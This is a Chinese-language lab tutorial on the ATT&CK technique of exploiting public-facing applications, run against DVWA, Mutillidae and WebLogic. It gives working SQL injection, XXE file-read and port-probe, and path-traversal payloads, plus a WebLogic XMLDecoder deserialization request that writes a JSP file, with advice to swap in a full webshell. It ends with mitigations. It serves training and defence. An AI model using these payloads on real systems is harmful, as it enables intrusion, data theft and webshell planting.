title: 面向公众应用的利用
tags:


ATT&CK矩阵-初始访问-Exploit Public-Facing Application(面向公众应用的利用)

简介

使用软件,数据,命令去利用一个面向网络的计算机系统或程序引起意外的或未预料到的行为.系统中的弱点可能是一个bug,故障,或者是设计漏洞, 这些应用通常是web网站,但是web包括数据库(如SQL),标准服务(如:SSH,SMB),其他一下网络应用都有开放socket,比如WEB服务及网络相关服务,依赖缺陷被利用包括防御规避。
如果一个应用是基于云上的主机。利用它可能会导致潜在的威胁。允许一个攻击者进入云API或者利用弱标识和访问管理策略。
对于网站和数据库,OWASP top10和CWE top25突出基于web最常见的漏洞。

测试用例

用例使用靶场dvwa

1、SQL注入

1、确认是否存在SQL注入:

访问网址:http://localhost/dvwa/vulnerabilities/sqli/
在文本框里面输入一撇,报错,说明存在SQL注入
面向公众应用的利用 - 图1

2、构造SQL注入语句

SQL语句:

  1. ' union select 1,concat(0x3a,user()) --
  2. ' union select 1,concat(0x3a,database()) --

注入得到数据库名和数据库账号
面向公众应用的利用 - 图2

2、失效的身份认证(暴力破解)

1、进入登录页面
http://192.168.3.8/dvwa/lg.php
输入账号密码
面向公众应用的利用 - 图3
2、开启burpsute抓包,把抓包内容发送到Intruder中,进行暴力破解
面向公众应用的利用 - 图4
3、破解成功,可以看到密码为:password
跳转到index.php页面
面向公众应用的利用 - 图5

3、XML 外部实体(XXE)

靶场:OWASP Mutillidae II
1、打开网址:http://192.168.3.13/mutillidae/index.php?page=xml-validator.php
面向公众应用的利用 - 图6
2、直接在文本框输入POC

  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <!DOCTYPE miracle [
  3. <!ENTITY xxe SYSTEM "c://windows/system.ini">
  4. ]>
  5. <reset>
  6. <login>&xxe;</login>
  7. <secret>Any Bugs?</secret>
  8. </reset>

成功读取内容:
面向公众应用的利用 - 图7
3、扫描内网端口:

  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <!DOCTYPE miracle [
  3. <!ENTITY xxe SYSTEM "http://127.0.0.1:3306">
  4. ]>
  5. <reset>
  6. <login>&xxe;</login>
  7. <secret>Any Bugs?</secret>
  8. </reset>

扫描3304端口报错:
面向公众应用的利用 - 图8
扫描3306端口正常,说明3306端口开放。
面向公众应用的利用 - 图9

4、敏感数据泄露

  • phpinfo信息泄露
    面向公众应用的利用 - 图10
  • robots.txt
    面向公众应用的利用 - 图11

    5、失效的访问控制

    使用../../访问本地文件:http://localhost:81/index.php?page=../../../../../../../../../../../etc/passwd
    面向公众应用的利用 - 图12

    6、安全配置错误

  • 目录遍历
    面向公众应用的利用 - 图13

  • robots.txt
    面向公众应用的利用 - 图14

    7、不安全的反序列化

    靶场:weblogic 10.3.6.0
    1、访问URL:http://192.168.3.8:7001/wls-wsat/CoordinatorPortType
    面向公众应用的利用 - 图15
    2、burpsuite抓包,构造post数据

    1. POST /wls-wsat/CoordinatorPortType HTTP/1.1
    2. Host: 192.168.3.8:7001
    3. Accept-Encoding: gzip, deflate
    4. Accept: */*
    5. Accept-Language: en
    6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    7. Connection: close
    8. Content-Type: text/xml
    9. Content-Length: 638
    10. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    11. <soapenv:Header>
    12. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    13. <java><java version="1.4.0" class="java.beans.XMLDecoder">
    14. <object class="java.io.PrintWriter">
    15. <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    16. <void method="println"><string>
    17. <![CDATA[
    18. <% out.print("test"); %>
    19. ]]>
    20. </string>
    21. </void>
    22. <void method="close"/>
    23. </object></java></java>
    24. </work:WorkContext>
    25. </soapenv:Header>
    26. <soapenv:Body/>
    27. </soapenv:Envelope>

    数据包中的jsp代码换成大马
    面向公众应用的利用 - 图16
    3、访问大马
    http://192.168.3.8:7001/bea_wls_internal/test.jsp
    面向公众应用的利用 - 图17

    8、使用含有已知漏洞的组件

  • phpMyAdmin
    面向公众应用的利用 - 图18

    9、不足的日志记录和监控

    靶场:mutillidae
    随便在URL上面输入js代码
    面向公众应用的利用 - 图19
    然后访问viewlog,触发XSS漏洞
    面向公众应用的利用 - 图20

    缓解措施

    1、系统隔离及沙盒机制
    2、使用防火墙保护机制
    3、网络细分
    4、特权账户管理
    5、软件升级
    6、漏洞扫描

    侦测检查

    监测应用log日志,使用waf检查不正确的输入